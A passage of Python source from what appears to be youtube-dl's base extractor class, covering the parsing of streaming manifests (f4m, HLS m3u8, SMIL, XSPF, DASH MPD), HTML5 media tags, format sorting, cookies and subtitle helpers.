            proto_preference = 0 if protocol in ['http', 'https'] else (-0.5 if protocol == 'rtsp' else -0.1)

            if f.get('vcodec') == 'none':  # audio only
                preference -= 50
                if self._downloader.params.get('prefer_free_formats'):
                    ORDER = ['aac', 'mp3', 'm4a', 'webm', 'ogg', 'opus']
                else:
                    ORDER = ['webm', 'opus', 'ogg', 'mp3', 'aac', 'm4a']
                ext_preference = 0
                try:
                    audio_ext_preference = ORDER.index(f['ext'])
                except ValueError:
                    audio_ext_preference = -1
            else:
                if f.get('acodec') == 'none':  # video only
                    preference -= 40
                if self._downloader.params.get('prefer_free_formats'):
                    ORDER = ['flv', 'mp4', 'webm']
                else:
                    ORDER = ['webm', 'flv', 'mp4']
                try:
                    ext_preference = ORDER.index(f['ext'])
                except ValueError:
                    ext_preference = -1
                audio_ext_preference = 0

            return (
                preference,
                f.get('language_preference') if f.get('language_preference') is not None else -1,
                f.get('quality') if f.get('quality') is not None else -1,
                f.get('tbr') if f.get('tbr') is not None else -1,
                f.get('filesize') if f.get('filesize') is not None else -1,
                f.get('vbr') if f.get('vbr') is not None else -1,
                f.get('height') if f.get('height') is not None else -1,
                f.get('width') if f.get('width') is not None else -1,
                proto_preference,
                ext_preference,
                f.get('abr') if f.get('abr') is not None else -1,
                audio_ext_preference,
                f.get('fps') if f.get('fps') is not None else -1,
                f.get('filesize_approx') if f.get('filesize_approx') is not None else -1,
                f.get('source_preference') if f.get('source_preference') is not None else -1,
                f.get('format_id') if f.get('format_id') is not None else '',
            )
        formats.sort(key=_formats_key)

    def _check_formats(self, formats, video_id):
        if formats:
            formats[:] = filter(
                lambda f: self._is_valid_url(
                    f['url'], video_id,
                    item='%s video format' % f.get('format_id') if f.get('format_id') else 'video'),
                formats)

    @staticmethod
    def _remove_duplicate_formats(formats):
        format_urls = set()
        unique_formats = []
        for f in formats:
            if f['url'] not in format_urls:
                format_urls.add(f['url'])
                unique_formats.append(f)
        formats[:] = unique_formats

    def _is_valid_url(self, url, video_id, item='video'):
        url = self._proto_relative_url(url, scheme='http:')
        # For now assume non HTTP(S) URLs always valid
        if not (url.startswith('http://') or url.startswith('https://')):
            return True
        try:
            self._request_webpage(url, video_id, 'Checking %s URL' % item)
            return True
        except ExtractorError as e:
            if isinstance(e.cause, compat_urllib_error.URLError):
                self.to_screen(
                    '%s: %s URL is invalid, skipping' % (video_id, item))
                return False
            raise

    def http_scheme(self):
        """ Either "http:" or "https:", depending on the user's preferences """
        return (
            'http:'
            if self._downloader.params.get('prefer_insecure', False)
            else 'https:')

    def _proto_relative_url(self, url, scheme=None):
        if url is None:
            return url
        if url.startswith('//'):
            if scheme is None:
                scheme = self.http_scheme()
            return scheme + url
        else:
            return url

    def _sleep(self, timeout, video_id, msg_template=None):
        if msg_template is None:
            msg_template = '%(video_id)s: Waiting for %(timeout)s seconds'
        msg = msg_template % {'video_id': video_id, 'timeout': timeout}
        self.to_screen(msg)
        time.sleep(timeout)

    def _extract_f4m_formats(self, manifest_url, video_id, preference=None, f4m_id=None,
                             transform_source=lambda s: fix_xml_ampersands(s).strip(),
                             fatal=True, m3u8_id=None):
        manifest = self._download_xml(
            manifest_url, video_id, 'Downloading f4m manifest',
            'Unable to download f4m manifest',
            # Some manifests may be malformed, e.g. prosiebensat1 generated manifests
            # (see https://github.com/rg3/youtube-dl/issues/6215#issuecomment-121704244)
            transform_source=transform_source,
            fatal=fatal)

        if manifest is False:
            return []

        return self._parse_f4m_formats(
            manifest, manifest_url, video_id, preference=preference, f4m_id=f4m_id,
            transform_source=transform_source, fatal=fatal, m3u8_id=m3u8_id)

    def _parse_f4m_formats(self, manifest, manifest_url, video_id, preference=None, f4m_id=None,
                           transform_source=lambda s: fix_xml_ampersands(s).strip(),
                           fatal=True, m3u8_id=None):
        # currently youtube-dl cannot decode the playerVerificationChallenge as Akamai uses Adobe Alchemy
        akamai_pv = manifest.find('{http://ns.adobe.com/f4m/1.0}pv-2.0')
        if akamai_pv is not None and ';' in akamai_pv.text:
            playerVerificationChallenge = akamai_pv.text.split(';')[0]
            if playerVerificationChallenge.strip() != '':
                return []

        formats = []
        manifest_version = '1.0'
        media_nodes = manifest.findall('{http://ns.adobe.com/f4m/1.0}media')
        if not media_nodes:
            manifest_version = '2.0'
            media_nodes = manifest.findall('{http://ns.adobe.com/f4m/2.0}media')
        # Remove unsupported DRM protected media from final formats
        # rendition (see https://github.com/rg3/youtube-dl/issues/8573).
        media_nodes = remove_encrypted_media(media_nodes)
        if not media_nodes:
            return formats
        base_url = xpath_text(
            manifest, ['{http://ns.adobe.com/f4m/1.0}baseURL', '{http://ns.adobe.com/f4m/2.0}baseURL'],
            'base URL', default=None)
        if base_url:
            base_url = base_url.strip()

        bootstrap_info = xpath_element(
            manifest, ['{http://ns.adobe.com/f4m/1.0}bootstrapInfo', '{http://ns.adobe.com/f4m/2.0}bootstrapInfo'],
            'bootstrap info', default=None)

        for i, media_el in enumerate(media_nodes):
            tbr = int_or_none(media_el.attrib.get('bitrate'))
            width = int_or_none(media_el.attrib.get('width'))
            height = int_or_none(media_el.attrib.get('height'))
            format_id = '-'.join(filter(None, [f4m_id, compat_str(i if tbr is None else tbr)]))
            # If <bootstrapInfo> is present, the specified f4m is a
            # stream-level manifest, and only set-level manifests may refer to
            # external resources.  See section 11.4 and section 4 of F4M spec
            if bootstrap_info is None:
                media_url = None
                # @href is introduced in 2.0, see section 11.6 of F4M spec
                if manifest_version == '2.0':
                    media_url = media_el.attrib.get('href')
                if media_url is None:
                    media_url = media_el.attrib.get('url')
                if not media_url:
                    continue
                manifest_url = (
                    media_url if media_url.startswith('http://') or media_url.startswith('https://')
                    else ((base_url or '/'.join(manifest_url.split('/')[:-1])) + '/' + media_url))
                # If media_url is itself a f4m manifest do the recursive extraction
                # since bitrates in parent manifest (this one) and media_url manifest
                # may differ leading to inability to resolve the format by requested
                # bitrate in f4m downloader
                ext = determine_ext(manifest_url)
                if ext == 'f4m':
                    f4m_formats = self._extract_f4m_formats(
                        manifest_url, video_id, preference=preference, f4m_id=f4m_id,
                        transform_source=transform_source, fatal=fatal)
                    # Sometimes stream-level manifest contains single media entry that
                    # does not contain any quality metadata (e.g. http://matchtv.ru/#live-player).
                    # At the same time parent's media entry in set-level manifest may
                    # contain it. We will copy it from parent in such cases.
                    if len(f4m_formats) == 1:
                        f = f4m_formats[0]
                        f.update({
                            'tbr': f.get('tbr') or tbr,
                            'width': f.get('width') or width,
                            'height': f.get('height') or height,
                            'format_id': f.get('format_id') if not tbr else format_id,
                        })
                    formats.extend(f4m_formats)
                    continue
                elif ext == 'm3u8':
                    formats.extend(self._extract_m3u8_formats(
                        manifest_url, video_id, 'mp4', preference=preference,
                        m3u8_id=m3u8_id, fatal=fatal))
                    continue
            formats.append({
                'format_id': format_id,
                'url': manifest_url,
                'ext': 'flv' if bootstrap_info is not None else None,
                'tbr': tbr,
                'width': width,
                'height': height,
                'preference': preference,
            })
        return formats

    def _m3u8_meta_format(self, m3u8_url, ext=None, preference=None, m3u8_id=None):
        return {
            'format_id': '-'.join(filter(None, [m3u8_id, 'meta'])),
            'url': m3u8_url,
            'ext': ext,
            'protocol': 'm3u8',
            'preference': preference - 100 if preference else -100,
            'resolution': 'multiple',
            'format_note': 'Quality selection URL',
        }

    def _extract_m3u8_formats(self, m3u8_url, video_id, ext=None,
                              entry_protocol='m3u8', preference=None,
                              m3u8_id=None, note=None, errnote=None,
                              fatal=True, live=False):

        formats = [self._m3u8_meta_format(m3u8_url, ext, preference, m3u8_id)]

        format_url = lambda u: (
            u
            if re.match(r'^https?://', u)
            else compat_urlparse.urljoin(m3u8_url, u))

        res = self._download_webpage_handle(
            m3u8_url, video_id,
            note=note or 'Downloading m3u8 information',
            errnote=errnote or 'Failed to download m3u8 information',
            fatal=fatal)
        if res is False:
            return []
        m3u8_doc, urlh = res
        m3u8_url = urlh.geturl()

        # We should try extracting formats only from master playlists [1], i.e.
        # playlists that describe available qualities. On the other hand media
        # playlists [2] should be returned as is since they contain just the media
        # without qualities renditions.
        # Fortunately, master playlist can be easily distinguished from media
        # playlist based on particular tags availability. As of [1, 2] master
        # playlist tags MUST NOT appear in a media playist and vice versa.
        # As of [3] #EXT-X-TARGETDURATION tag is REQUIRED for every media playlist
        # and MUST NOT appear in master playlist thus we can clearly detect media
        # playlist with this criterion.
        # 1. https://tools.ietf.org/html/draft-pantos-http-live-streaming-17#section-4.3.4
        # 2. https://tools.ietf.org/html/draft-pantos-http-live-streaming-17#section-4.3.3
        # 3. https://tools.ietf.org/html/draft-pantos-http-live-streaming-17#section-4.3.3.1
        if '#EXT-X-TARGETDURATION' in m3u8_doc:  # media playlist, return as is
            return [{
                'url': m3u8_url,
                'format_id': m3u8_id,
                'ext': ext,
                'protocol': entry_protocol,
                'preference': preference,
            }]
        last_info = None
        last_media = None
        for line in m3u8_doc.splitlines():
            if line.startswith('#EXT-X-STREAM-INF:'):
                last_info = parse_m3u8_attributes(line)
            elif line.startswith('#EXT-X-MEDIA:'):
                last_media = parse_m3u8_attributes(line)
            elif line.startswith('#') or not line.strip():
                continue
            else:
                if last_info is None:
                    formats.append({'url': format_url(line)})
                    continue
                tbr = int_or_none(last_info.get('BANDWIDTH'), scale=1000)
                format_id = []
                if m3u8_id:
                    format_id.append(m3u8_id)
                last_media_name = last_media.get('NAME') if last_media and last_media.get('TYPE') not in ('SUBTITLES', 'CLOSED-CAPTIONS') else None
                # Despite specification does not mention NAME attribute for
                # EXT-X-STREAM-INF it still sometimes may be present
                stream_name = last_info.get('NAME') or last_media_name
                # Bandwidth of live streams may differ over time thus making
                # format_id unpredictable. So it's better to keep provided
                # format_id intact.
                if not live:
                    format_id.append(stream_name if stream_name else '%d' % (tbr if tbr else len(formats)))
                f = {
                    'format_id': '-'.join(format_id),
                    'url': format_url(line.strip()),
                    'tbr': tbr,
                    'ext': ext,
                    'fps': float_or_none(last_info.get('FRAME-RATE')),
                    'protocol': entry_protocol,
                    'preference': preference,
                }
                resolution = last_info.get('RESOLUTION')
                if resolution:
                    width_str, height_str = resolution.split('x')
                    f['width'] = int(width_str)
                    f['height'] = int(height_str)
                # Unified Streaming Platform
                mobj = re.search(
                    r'audio.*?(?:%3D|=)(\d+)(?:-video.*?(?:%3D|=)(\d+))?', f['url'])
                if mobj:
                    abr, vbr = mobj.groups()
                    abr, vbr = float_or_none(abr, 1000), float_or_none(vbr, 1000)
                    f.update({
                        'vbr': vbr,
                        'abr': abr,
                    })
                f.update(parse_codecs(last_info.get('CODECS')))
                if last_media is not None:
                    f['m3u8_media'] = last_media
                    last_media = None
                formats.append(f)
                last_info = {}
        return formats

    @staticmethod
    def _xpath_ns(path, namespace=None):
        if not namespace:
            return path
        out = []
        for c in path.split('/'):
            if not c or c == '.':
                out.append(c)
            else:
                out.append('{%s}%s' % (namespace, c))
        return '/'.join(out)

    def _extract_smil_formats(self, smil_url, video_id, fatal=True, f4m_params=None, transform_source=None):
        smil = self._download_smil(smil_url, video_id, fatal=fatal, transform_source=transform_source)

        if smil is False:
            assert not fatal
            return []

        namespace = self._parse_smil_namespace(smil)

        return self._parse_smil_formats(
            smil, smil_url, video_id, namespace=namespace, f4m_params=f4m_params)

    def _extract_smil_info(self, smil_url, video_id, fatal=True, f4m_params=None):
        smil = self._download_smil(smil_url, video_id, fatal=fatal)
        if smil is False:
            return {}
        return self._parse_smil(smil, smil_url, video_id, f4m_params=f4m_params)

    def _download_smil(self, smil_url, video_id, fatal=True, transform_source=None):
        return self._download_xml(
            smil_url, video_id, 'Downloading SMIL file',
            'Unable to download SMIL file', fatal=fatal, transform_source=transform_source)

    def _parse_smil(self, smil, smil_url, video_id, f4m_params=None):
        namespace = self._parse_smil_namespace(smil)

        formats = self._parse_smil_formats(
            smil, smil_url, video_id, namespace=namespace, f4m_params=f4m_params)
        subtitles = self._parse_smil_subtitles(smil, namespace=namespace)

        video_id = os.path.splitext(url_basename(smil_url))[0]
        title = None
        description = None
        upload_date = None
        for meta in smil.findall(self._xpath_ns('./head/meta', namespace)):
            name = meta.attrib.get('name')
            content = meta.attrib.get('content')
            if not name or not content:
                continue
            if not title and name == 'title':
                title = content
            elif not description and name in ('description', 'abstract'):
                description = content
            elif not upload_date and name == 'date':
                upload_date = unified_strdate(content)

        thumbnails = [{
            'id': image.get('type'),
            'url': image.get('src'),
            'width': int_or_none(image.get('width')),
            'height': int_or_none(image.get('height')),
        } for image in smil.findall(self._xpath_ns('.//image', namespace)) if image.get('src')]

        return {
            'id': video_id,
            'title': title or video_id,
            'description': description,
            'upload_date': upload_date,
            'thumbnails': thumbnails,
            'formats': formats,
            'subtitles': subtitles,
        }

    def _parse_smil_namespace(self, smil):
        return self._search_regex(
            r'(?i)^{([^}]+)?}smil$', smil.tag, 'namespace', default=None)

    def _parse_smil_formats(self, smil, smil_url, video_id, namespace=None, f4m_params=None, transform_rtmp_url=None):
        base = smil_url
        for meta in smil.findall(self._xpath_ns('./head/meta', namespace)):
            b = meta.get('base') or meta.get('httpBase')
            if b:
                base = b
                break

        formats = []
        rtmp_count = 0
        http_count = 0
        m3u8_count = 0

        srcs = []
        media = smil.findall(self._xpath_ns('.//video', namespace)) + smil.findall(self._xpath_ns('.//audio', namespace))
        for medium in media:
            src = medium.get('src')
            if not src or src in srcs:
                continue
            srcs.append(src)

            bitrate = float_or_none(medium.get('system-bitrate') or medium.get('systemBitrate'), 1000)
            filesize = int_or_none(medium.get('size') or medium.get('fileSize'))
            width = int_or_none(medium.get('width'))
            height = int_or_none(medium.get('height'))
            proto = medium.get('proto')
            ext = medium.get('ext')
            src_ext = determine_ext(src)
            streamer = medium.get('streamer') or base

            if proto == 'rtmp' or streamer.startswith('rtmp'):
                rtmp_count += 1
                formats.append({
                    'url': streamer,
                    'play_path': src,
                    'ext': 'flv',
                    'format_id': 'rtmp-%d' % (rtmp_count if bitrate is None else bitrate),
                    'tbr': bitrate,
                    'filesize': filesize,
                    'width': width,
                    'height': height,
                })
                if transform_rtmp_url:
                    streamer, src = transform_rtmp_url(streamer, src)
                    formats[-1].update({
                        'url': streamer,
                        'play_path': src,
                    })
                continue

            src_url = src if src.startswith('http') else compat_urlparse.urljoin(base, src)
            src_url = src_url.strip()

            if proto == 'm3u8' or src_ext == 'm3u8':
                m3u8_formats = self._extract_m3u8_formats(
                    src_url, video_id, ext or 'mp4', m3u8_id='hls', fatal=False)
                if len(m3u8_formats) == 1:
                    m3u8_count += 1
                    m3u8_formats[0].update({
                        'format_id': 'hls-%d' % (m3u8_count if bitrate is None else bitrate),
                        'tbr': bitrate,
                        'width': width,
                        'height': height,
                    })
                formats.extend(m3u8_formats)
                continue

            if src_ext == 'f4m':
                f4m_url = src_url
                if not f4m_params:
                    f4m_params = {
                        'hdcore': '3.2.0',
                        'plugin': 'flowplayer-3.2.0.1',
                    }
                f4m_url += '&' if '?' in f4m_url else '?'
                f4m_url += compat_urllib_parse_urlencode(f4m_params)
                formats.extend(self._extract_f4m_formats(f4m_url, video_id, f4m_id='hds', fatal=False))
                continue

            if src_url.startswith('http') and self._is_valid_url(src, video_id):
                http_count += 1
                formats.append({
                    'url': src_url,
                    'ext': ext or src_ext or 'flv',
                    'format_id': 'http-%d' % (bitrate or http_count),
                    'tbr': bitrate,
                    'filesize': filesize,
                    'width': width,
                    'height': height,
                })
                continue

        return formats

    def _parse_smil_subtitles(self, smil, namespace=None, subtitles_lang='en'):
        urls = []
        subtitles = {}
        for num, textstream in enumerate(smil.findall(self._xpath_ns('.//textstream', namespace))):
            src = textstream.get('src')
            if not src or src in urls:
                continue
            urls.append(src)
            ext = textstream.get('ext') or mimetype2ext(textstream.get('type')) or determine_ext(src)
            lang = textstream.get('systemLanguage') or textstream.get('systemLanguageName') or textstream.get('lang') or subtitles_lang
            subtitles.setdefault(lang, []).append({
                'url': src,
                'ext': ext,
            })
        return subtitles

    def _extract_xspf_playlist(self, playlist_url, playlist_id, fatal=True):
        xspf = self._download_xml(
            playlist_url, playlist_id, 'Downloading xpsf playlist',
            'Unable to download xspf manifest', fatal=fatal)
        if xspf is False:
            return []
        return self._parse_xspf(xspf, playlist_id)

    def _parse_xspf(self, playlist, playlist_id):
        NS_MAP = {
            'xspf': 'http://xspf.org/ns/0/',
            's1': 'http://static.streamone.nl/player/ns/0',
        }

        entries = []
        for track in playlist.findall(xpath_with_ns('./xspf:trackList/xspf:track', NS_MAP)):
            title = xpath_text(
                track, xpath_with_ns('./xspf:title', NS_MAP), 'title', default=playlist_id)
            description = xpath_text(
                track, xpath_with_ns('./xspf:annotation', NS_MAP), 'description')
            thumbnail = xpath_text(
                track, xpath_with_ns('./xspf:image', NS_MAP), 'thumbnail')
            duration = float_or_none(
                xpath_text(track, xpath_with_ns('./xspf:duration', NS_MAP), 'duration'), 1000)

            formats = [{
                'url': location.text,
                'format_id': location.get(xpath_with_ns('s1:label', NS_MAP)),
                'width': int_or_none(location.get(xpath_with_ns('s1:width', NS_MAP))),
                'height': int_or_none(location.get(xpath_with_ns('s1:height', NS_MAP))),
            } for location in track.findall(xpath_with_ns('./xspf:location', NS_MAP))]
            self._sort_formats(formats)

            entries.append({
                'id': playlist_id,
                'title': title,
                'description': description,
                'thumbnail': thumbnail,
                'duration': duration,
                'formats': formats,
            })
        return entries

    def _extract_mpd_formats(self, mpd_url, video_id, mpd_id=None, note=None, errnote=None, fatal=True, formats_dict={}):
        res = self._download_webpage_handle(
            mpd_url, video_id,
            note=note or 'Downloading MPD manifest',
            errnote=errnote or 'Failed to download MPD manifest',
            fatal=fatal)
        if res is False:
            return []
        mpd, urlh = res
        mpd_base_url = re.match(r'https?://.+/', urlh.geturl()).group()

        return self._parse_mpd_formats(
            compat_etree_fromstring(mpd.encode('utf-8')), mpd_id, mpd_base_url, formats_dict=formats_dict)

    def _parse_mpd_formats(self, mpd_doc, mpd_id=None, mpd_base_url='', formats_dict={}):
        """
        Parse formats from MPD manifest.
        References:
         1. MPEG-DASH Standard, ISO/IEC 23009-1:2014(E),
            http://standards.iso.org/ittf/PubliclyAvailableStandards/c065274_ISO_IEC_23009-1_2014.zip
         2. https://en.wikipedia.org/wiki/Dynamic_Adaptive_Streaming_over_HTTP
        """
        if mpd_doc.get('type') == 'dynamic':
            return []

        namespace = self._search_regex(r'(?i)^{([^}]+)?}MPD$', mpd_doc.tag, 'namespace', default=None)

        def _add_ns(path):
            return self._xpath_ns(path, namespace)

        def is_drm_protected(element):
            return element.find(_add_ns('ContentProtection')) is not None

        def extract_multisegment_info(element, ms_parent_info):
            ms_info = ms_parent_info.copy()
            segment_list = element.find(_add_ns('SegmentList'))
            if segment_list is not None:
                segment_urls_e = segment_list.findall(_add_ns('SegmentURL'))
                if segment_urls_e:
                    ms_info['segment_urls'] = [segment.attrib['media'] for segment in segment_urls_e]
                initialization = segment_list.find(_add_ns('Initialization'))
                if initialization is not None:
                    ms_info['initialization_url'] = initialization.attrib['sourceURL']
            else:
                segment_template = element.find(_add_ns('SegmentTemplate'))
                if segment_template is not None:
                    start_number = segment_template.get('startNumber')
                    if start_number:
                        ms_info['start_number'] = int(start_number)
                    segment_timeline = segment_template.find(_add_ns('SegmentTimeline'))
                    if segment_timeline is not None:
                        s_e = segment_timeline.findall(_add_ns('S'))
                        if s_e:
                            ms_info['total_number'] = 0
                            ms_info['s'] = []
                            for s in s_e:
                                r = int(s.get('r', 0))
                                ms_info['total_number'] += 1 + r
                                ms_info['s'].append({
                                    't': int(s.get('t', 0)),
                                    # @d is mandatory (see [1, 5.3.9.6.2, Table 17, page 60])
                                    'd': int(s.attrib['d']),
                                    'r': r,
                                })
                    else:
                        timescale = segment_template.get('timescale')
                        if timescale:
                            ms_info['timescale'] = int(timescale)
                        segment_duration = segment_template.get('duration')
                        if segment_duration:
                            ms_info['segment_duration'] = int(segment_duration)
                    media_template = segment_template.get('media')
                    if media_template:
                        ms_info['media_template'] = media_template
                    initialization = segment_template.get('initialization')
                    if initialization:
                        ms_info['initialization_url'] = initialization
                    else:
                        initialization = segment_template.find(_add_ns('Initialization'))
                        if initialization is not None:
                            ms_info['initialization_url'] = initialization.attrib['sourceURL']
            return ms_info

        mpd_duration = parse_duration(mpd_doc.get('mediaPresentationDuration'))
        formats = []
        for period in mpd_doc.findall(_add_ns('Period')):
            period_duration = parse_duration(period.get('duration')) or mpd_duration
            period_ms_info = extract_multisegment_info(period, {
                'start_number': 1,
                'timescale': 1,
            })
            for adaptation_set in period.findall(_add_ns('AdaptationSet')):
                if is_drm_protected(adaptation_set):
                    continue
                adaption_set_ms_info = extract_multisegment_info(adaptation_set, period_ms_info)
                for representation in adaptation_set.findall(_add_ns('Representation')):
                    if is_drm_protected(representation):
                        continue
                    representation_attrib = adaptation_set.attrib.copy()
                    representation_attrib.update(representation.attrib)
                    # According to [1, 5.3.7.2, Table 9, page 41], @mimeType is mandatory
                    mime_type = representation_attrib['mimeType']
                    content_type = mime_type.split('/')[0]
                    if content_type == 'text':
                        # TODO implement WebVTT downloading
                        pass
                    elif content_type == 'video' or content_type == 'audio':
                        base_url = ''
                        for element in (representation, adaptation_set, period, mpd_doc):
                            base_url_e = element.find(_add_ns('BaseURL'))
                            if base_url_e is not None:
                                base_url = base_url_e.text + base_url
                                if re.match(r'^https?://', base_url):
                                    break
                        if mpd_base_url and not re.match(r'^https?://', base_url):
                            if not mpd_base_url.endswith('/') and not base_url.startswith('/'):
                                mpd_base_url += '/'
                            base_url = mpd_base_url + base_url
                        representation_id = representation_attrib.get('id')
                        lang = representation_attrib.get('lang')
                        url_el = representation.find(_add_ns('BaseURL'))
                        filesize = int_or_none(url_el.attrib.get('{http://youtube.com/yt/2012/10/10}contentLength') if url_el is not None else None)
                        f = {
                            'format_id': '%s-%s' % (mpd_id, representation_id) if mpd_id else representation_id,
                            'url': base_url,
                            'ext': mimetype2ext(mime_type),
                            'width': int_or_none(representation_attrib.get('width')),
                            'height': int_or_none(representation_attrib.get('height')),
                            'tbr': int_or_none(representation_attrib.get('bandwidth'), 1000),
                            'asr': int_or_none(representation_attrib.get('audioSamplingRate')),
                            'fps': int_or_none(representation_attrib.get('frameRate')),
                            'vcodec': 'none' if content_type == 'audio' else representation_attrib.get('codecs'),
                            'acodec': 'none' if content_type == 'video' else representation_attrib.get('codecs'),
                            'language': lang if lang not in ('mul', 'und', 'zxx', 'mis') else None,
                            'format_note': 'DASH %s' % content_type,
                            'filesize': filesize,
                        }
                        representation_ms_info = extract_multisegment_info(representation, adaption_set_ms_info)
                        if 'segment_urls' not in representation_ms_info and 'media_template' in representation_ms_info:
                            if 'total_number' not in representation_ms_info and 'segment_duration':
                                segment_duration = float(representation_ms_info['segment_duration']) / float(representation_ms_info['timescale'])
                                representation_ms_info['total_number'] = int(math.ceil(float(period_duration) / segment_duration))
                            media_template = representation_ms_info['media_template']
                            media_template = media_template.replace('$RepresentationID$', representation_id)
                            media_template = re.sub(r'\$(Number|Bandwidth|Time)\$', r'%(\1)d', media_template)
                            media_template = re.sub(r'\$(Number|Bandwidth|Time)%([^$]+)\$', r'%(\1)\2', media_template)
                            media_template.replace('$$', '$')

                            # As per [1, 5.3.9.4.4, Table 16, page 55] $Number$ and $Time$
                            # can't be used at the same time
                            if '%(Number' in media_template:
                                representation_ms_info['segment_urls'] = [
                                    media_template % {
                                        'Number': segment_number,
                                        'Bandwidth': representation_attrib.get('bandwidth'),
                                    }
                                    for segment_number in range(
                                        representation_ms_info['start_number'],
                                        representation_ms_info['total_number'] + representation_ms_info['start_number'])]
                            else:
                                representation_ms_info['segment_urls'] = []
                                segment_time = 0

                                def add_segment_url():
                                    representation_ms_info['segment_urls'].append(
                                        media_template % {
                                            'Time': segment_time,
                                            'Bandwidth': representation_attrib.get('bandwidth'),
                                        }
                                    )

                                for num, s in enumerate(representation_ms_info['s']):
                                    segment_time = s.get('t') or segment_time
                                    add_segment_url()
                                    for r in range(s.get('r', 0)):
                                        segment_time += s['d']
                                        add_segment_url()
                                    segment_time += s['d']
                        if 'segment_urls' in representation_ms_info:
                            f.update({
                                'segment_urls': representation_ms_info['segment_urls'],
                                'protocol': 'http_dash_segments',
                            })
                            if 'initialization_url' in representation_ms_info:
                                initialization_url = representation_ms_info['initialization_url'].replace('$RepresentationID$', representation_id)
                                f.update({
                                    'initialization_url': initialization_url,
                                })
                                if not f.get('url'):
                                    f['url'] = initialization_url
                        try:
                            existing_format = next(
                                fo for fo in formats
                                if fo['format_id'] == representation_id)
                        except StopIteration:
                            full_info = formats_dict.get(representation_id, {}).copy()
                            full_info.update(f)
                            formats.append(full_info)
                        else:
                            existing_format.update(f)
                    else:
                        self.report_warning('Unknown MIME type %s in DASH manifest' % mime_type)
        return formats

    def _parse_html5_media_entries(self, base_url, webpage, video_id, m3u8_id=None, m3u8_entry_protocol='m3u8'):
        def absolute_url(video_url):
            return compat_urlparse.urljoin(base_url, video_url)

        def parse_content_type(content_type):
            if not content_type:
                return {}
            ctr = re.search(r'(?P<mimetype>[^/]+/[^;]+)(?:;\s*codecs="?(?P<codecs>[^"]+))?', content_type)
            if ctr:
                mimetype, codecs = ctr.groups()
                f = parse_codecs(codecs)
                f['ext'] = mimetype2ext(mimetype)
                return f
            return {}

        def _media_formats(src, cur_media_type):
            full_url = absolute_url(src)
            if determine_ext(full_url) == 'm3u8':
                is_plain_url = False
                formats = self._extract_m3u8_formats(
                    full_url, video_id, ext='mp4',
                    entry_protocol=m3u8_entry_protocol, m3u8_id=m3u8_id)
            else:
                is_plain_url = True
                formats = [{
                    'url': full_url,
                    'vcodec': 'none' if cur_media_type == 'audio' else None,
                }]
            return is_plain_url, formats

        entries = []
        for media_tag, media_type, media_content in re.findall(r'(?s)(<(?P<tag>video|audio)[^>]*>)(.*?)</(?P=tag)>', webpage):
            media_info = {
                'formats': [],
                'subtitles': {},
            }
            media_attributes = extract_attributes(media_tag)
            src = media_attributes.get('src')
            if src:
                _, formats = _media_formats(src)
                media_info['formats'].extend(formats)
            media_info['thumbnail'] = media_attributes.get('poster')
            if media_content:
                for source_tag in re.findall(r'<source[^>]+>', media_content):
                    source_attributes = extract_attributes(source_tag)
                    src = source_attributes.get('src')
                    if not src:
                        continue
                    is_plain_url, formats = _media_formats(src, media_type)
                    if is_plain_url:
                        f = parse_content_type(source_attributes.get('type'))
                        f.update(formats[0])
                        media_info['formats'].append(f)
                    else:
                        media_info['formats'].extend(formats)
                for track_tag in re.findall(r'<track[^>]+>', media_content):
                    track_attributes = extract_attributes(track_tag)
                    kind = track_attributes.get('kind')
                    if not kind or kind == 'subtitles':
                        src = track_attributes.get('src')
                        if not src:
                            continue
                        lang = track_attributes.get('srclang') or track_attributes.get('lang') or track_attributes.get('label')
                        media_info['subtitles'].setdefault(lang, []).append({
                            'url': absolute_url(src),
                        })
            if media_info['formats']:
                entries.append(media_info)
        return entries

    def _extract_akamai_formats(self, manifest_url, video_id):
        formats = []
        f4m_url = re.sub(r'(https?://.+?)/i/', r'\1/z/', manifest_url).replace('/master.m3u8', '/manifest.f4m')
        formats.extend(self._extract_f4m_formats(
            update_url_query(f4m_url, {'hdcore': '3.7.0'}),
            video_id, f4m_id='hds', fatal=False))
        m3u8_url = re.sub(r'(https?://.+?)/z/', r'\1/i/', manifest_url).replace('/manifest.f4m', '/master.m3u8')
        formats.extend(self._extract_m3u8_formats(
            m3u8_url, video_id, 'mp4', 'm3u8_native',
            m3u8_id='hls', fatal=False))
        return formats

    def _live_title(self, name):
        """ Generate the title for a live video """
        now = datetime.datetime.now()
        now_str = now.strftime('%Y-%m-%d %H:%M')
        return name + ' ' + now_str

    def _int(self, v, name, fatal=False, **kwargs):
        res = int_or_none(v, **kwargs)
        if 'get_attr' in kwargs:
            print(getattr(v, kwargs['get_attr']))
        if res is None:
            msg = 'Failed to extract %s: Could not parse value %r' % (name, v)
            if fatal:
                raise ExtractorError(msg)
            else:
                self._downloader.report_warning(msg)
        return res

    def _float(self, v, name, fatal=False, **kwargs):
        res = float_or_none(v, **kwargs)
        if res is None:
            msg = 'Failed to extract %s: Could not parse value %r' % (name, v)
            if fatal:
                raise ExtractorError(msg)
            else:
                self._downloader.report_warning(msg)
        return res

    def _set_cookie(self, domain, name, value, expire_time=None):
        cookie = compat_cookiejar.Cookie(
            0, name, value, None, None, domain, None,
            None, '/', True, False, expire_time, '', None, None, None)
        self._downloader.cookiejar.set_cookie(cookie)

    def _get_cookies(self, url):
        """ Return a compat_cookies.SimpleCookie with the cookies for the url """
        req = sanitized_Request(url)
        self._downloader.cookiejar.add_cookie_header(req)
        return compat_cookies.SimpleCookie(req.get_header('Cookie'))

    def get_testcases(self, include_onlymatching=False):
        t = getattr(self, '_TEST', None)
        if t:
            assert not hasattr(self, '_TESTS'), \
                '%s has _TEST and _TESTS' % type(self).__name__
            tests = [t]
        else:
            tests = getattr(self, '_TESTS', [])
        for t in tests:
            if not include_onlymatching and t.get('only_matching', False):
                continue
            t['name'] = type(self).__name__[:-len('IE')]
            yield t

    def is_suitable(self, age_limit):
        """ Test whether the extractor is generally suitable for the given
        age limit (i.e. pornographic sites are not, all others usually are) """

        any_restricted = False
        for tc in self.get_testcases(include_onlymatching=False):
            if tc.get('playlist', []):
                tc = tc['playlist'][0]
            is_restricted = age_restricted(
                tc.get('info_dict', {}).get('age_limit'), age_limit)
            if not is_restricted:
                return True
            any_restricted = any_restricted or is_restricted
        return not any_restricted

    def extract_subtitles(self, *args, **kwargs):
        if (self._downloader.params.get('writesubtitles', False) or
                self._downloader.params.get('listsubtitles')):
            return self._get_subtitles(*args, **kwargs)
        return {}

    def _get_subtitles(self, *args, **kwargs):
        raise NotImplementedError('This method must be implemented by subclasses')

    @staticmethod
    def _merge_subtitle_items(subtitle_list1, subtitle_list2):
        """ Merge subtitle items for one language. Items with duplicated URLs
